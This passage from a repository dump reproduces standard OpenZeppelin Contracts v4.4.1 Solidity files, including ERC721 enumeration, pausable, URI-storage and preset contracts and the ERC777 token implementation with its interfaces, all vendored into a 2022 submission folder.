* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Pausable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Pausable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "../../../security/Pausable.sol";
/**
* @dev ERC721 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC721Pausable is ERC721, Pausable {
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
require(!paused(), "ERC721Pausable: token transfer while paused");
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721URIStorage.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/extensions/IERC721Enumerable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/extensions/IERC721Metadata.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/presets/ERC721PresetMinterPauserAutoId.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/presets/ERC721PresetMinterPauserAutoId.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "../extensions/ERC721Enumerable.sol";
import "../extensions/ERC721Burnable.sol";
import "../extensions/ERC721Pausable.sol";
import "../../../access/AccessControlEnumerable.sol";
import "../../../utils/Context.sol";
import "../../../utils/Counters.sol";
/**
* @dev {ERC721} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
* - token ID and URI autogeneration
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract ERC721PresetMinterPauserAutoId is
Context,
AccessControlEnumerable,
ERC721Enumerable,
ERC721Burnable,
ERC721Pausable
{
using Counters for Counters.Counter;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
Counters.Counter private _tokenIdTracker;
string private _baseTokenURI;
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* Token URIs will be autogenerated based on `baseURI` and their token IDs.
* See {ERC721-tokenURI}.
*/
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI
) ERC721(name, symbol) {
_baseTokenURI = baseTokenURI;
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
/**
* @dev Creates a new token for `to`. Its token ID will be automatically
* assigned (and available on the emitted {IERC721-Transfer} event), and the token
* URI autogenerated based on the base URI passed at construction.
*
* See {ERC721-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have minter role to mint");
// We cannot just use balanceOf to create the new tokenId because tokens
// can be burned (destroyed), so we need a separate counter.
_mint(to, _tokenIdTracker.current());
_tokenIdTracker.increment();
}
/**
* @dev Pauses all token transfers.
*
* See {ERC721Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC721Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
super._beforeTokenTransfer(from, to, tokenId);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControlEnumerable, ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/utils/ERC721Holder.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/utils/ERC721Holder.sol)
pragma solidity ^0.8.0;
import "../IERC721Receiver.sol";
/**
* @dev Implementation of the {IERC721Receiver} interface.
*
* Accepts all token transfers.
* Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.
*/
contract ERC721Holder is IERC721Receiver {
/**
* @dev See {IERC721Receiver-onERC721Received}.
*
* Always returns `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC777/ERC777.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC777/ERC777.sol)
pragma solidity ^0.8.0;
import "./IERC777.sol";
import "./IERC777Recipient.sol";
import "./IERC777Sender.sol";
import "../ERC20/IERC20.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/introspection/IERC1820Registry.sol";
/**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/
contract ERC777 is Context, IERC777, IERC20 {
using Address for address;
IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender");
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping(address => mapping(address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name_,
string memory symbol_,
address[] memory defaultOperators_
) {
_name = name_;
_symbol = symbol_;
_defaultOperatorsArray = defaultOperators_;
for (uint256 i = 0; i < defaultOperators_.length; i++) {
_defaultOperators[defaultOperators_[i]] = true;
}
// register interfaces
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view virtual override returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view virtual override(IERC20, IERC777) returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view virtual override(IERC20, IERC777) returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function send(
address recipient,
uint256 amount,
bytes memory data
) public virtual override {
_send(_msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes memory data) public virtual override {
_burn(_msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(address operator, address tokenHolder) public view virtual override returns (bool) {
return
operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) public virtual override {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) public virtual override {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view virtual override returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {IERC20-Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes memory data,
bytes memory operatorData
) public virtual override {
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {IERC20-Transfer} events.
*/
function operatorBurn(
address account,
uint256 amount,
bytes memory data,
bytes memory operatorData
) public virtual override {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view virtual override returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events.
*/
function transferFrom(
address holder,
address recipient,
uint256 amount
) public virtual override returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
uint256 currentAllowance = _allowances[holder][spender];
require(currentAllowance >= amount, "ERC777: transfer amount exceeds allowance");
_approve(holder, spender, currentAllowance - amount);
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {IERC20-Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) internal virtual {
_mint(account, amount, userData, operatorData, true);
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If `requireReceptionAck` is set to true, and if a send hook is
* registered for `account`, the corresponding function will be called with
* `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {IERC20-Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) internal virtual {
require(account != address(0), "ERC777: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, amount);
// Update state variables
_totalSupply += amount;
_balances[account] += amount;
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, requireReceptionAck);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) internal virtual {
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
address operator = _msgSender();
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
) internal virtual {
require(from != address(0), "ERC777: burn from the zero address");
address operator = _msgSender();
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
_beforeTokenTransfer(operator, from, address(0), amount);
// Update state variables
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC777: burn amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_totalSupply -= amount;
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) private {
_beforeTokenTransfer(operator, from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC777: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
/**
* @dev See {ERC20-_approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function _approve(
address holder,
address spender,
uint256 value
) internal {
require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) private {
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) private {
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");
}
}
/**
* @dev Hook that is called before any token transfer. This includes
* calls to {send}, {transfer}, {operatorSend}, minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256 amount
) internal virtual {}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC777/IERC777.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC777Token standard as defined in the EIP.
*
* This contract uses the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let
* token holders and recipients react to token movements by using setting implementers
* for the associated interfaces in said registry. See {IERC1820Registry} and
* {ERC1820Implementer}.
*/
interface IERC777 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the smallest part of the token that is not divisible. This
* means all token operations (creation, movement and destruction) must have
* amounts that are a multiple of this number.
*
* For most token contracts, this value will equal 1.
*/
function granularity() external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by an account (`owner`).
*/
function balanceOf(address owner) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* If send or receive hooks are registered for the caller and `recipient`,
* the corresponding functions will be called with `data` and empty
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function send(
address recipient,
uint256 amount,
bytes calldata data
) external;
/**
* @dev Destroys `amount` tokens from the caller's account, reducing the
* total supply.
*
* If a send hook is registered for the caller, the corresponding function
* will be called with `data` and empty `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
*/
function burn(uint256 amount, bytes calldata data) external;
/**
* @dev Returns true if an account is an operator of `tokenHolder`.
* Operators can send and burn tokens on behalf of their owners. All
* accounts are their own operator.
*
* See {operatorSend} and {operatorBurn}.
*/
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
/**
* @dev Make an account an operator of the caller.
*
* See {isOperatorFor}.
*
* Emits an {AuthorizedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function authorizeOperator(address operator) external;
/**
* @dev Revoke an account's operator status for the caller.
*
* See {isOperatorFor} and {defaultOperators}.
*
* Emits a {RevokedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function revokeOperator(address operator) external;
/**
* @dev Returns the list of default operators. These accounts are operators
* for all token holders, even if {authorizeOperator} was never called on
* them.
*
* This list is immutable, but individual holders may revoke these via
* {revokeOperator}, in which case {isOperatorFor} will return false.
*/
function defaultOperators() external view returns (address[] memory);
/**
* @dev Moves `amount` tokens from `sender` to `recipient`. The caller must
* be an operator of `sender`.
*
* If send or receive hooks are registered for `sender` and `recipient`,
* the corresponding functions will be called with `data` and
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - `sender` cannot be the zero address.
* - `sender` must have at least `amount` tokens.
* - the caller must be an operator for `sender`.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* The caller must be an operator of `account`.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `data` and `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
* - the caller must be an operator for `account`.
*/
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC777/IERC777Recipient.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Recipient.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC777TokensRecipient standard as defined in the EIP.
*
* Accounts can be notified of {IERC777} tokens being sent to them by having a
* contract implement this interface (contract holders can be their own
* implementer) and registering it on the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].
*
* See {IERC1820Registry} and {ERC1820Implementer}.
*/
interface IERC777Recipient {
/**
* @dev Called by an {IERC777} token contract whenever tokens are being
* moved or created into a registered account (`to`). The type of operation
* is conveyed by `from` being the zero address or not.
*
* This call occurs _after_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the post-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC777/IERC777Sender.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Sender.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC777TokensSender standard as defined in the EIP.
*
* {IERC777} Token holders can be notified of operations performed on their
* tokens by having a contract implement this interface (contract holders can be
* their own implementer) and registering it on the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].
*
* See {IERC1820Registry} and {ERC1820Implementer}.
*/
interface IERC777Sender {
/**
* @dev Called by an {IERC777} token contract whenever a registered holder's
* (`from`) tokens are about to be moved or destroyed. The type of operation
* is conveyed by `to` being the zero address or not.
*
* This call occurs _before_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the pre-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC777/README.adoc
================================================
= ERC 777
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc777
This set of interfaces and contracts are all related to the [ERC777 token standard](https://eips.ethereum.org/EIPS/eip-777).
TIP: For an overview of ERC777 tokens and a walk through on how to create a token contract read our xref:ROOT:erc777.adoc[ERC777 guide].
The token behavior itself is implemented in the core contracts: {IERC777}, {ERC777}.
Additionally there are interfaces used to develop contracts that react to token movements: {IERC777Sender}, {IERC777Recipient}.
== Core
{{IERC777}}
{{ERC777}}
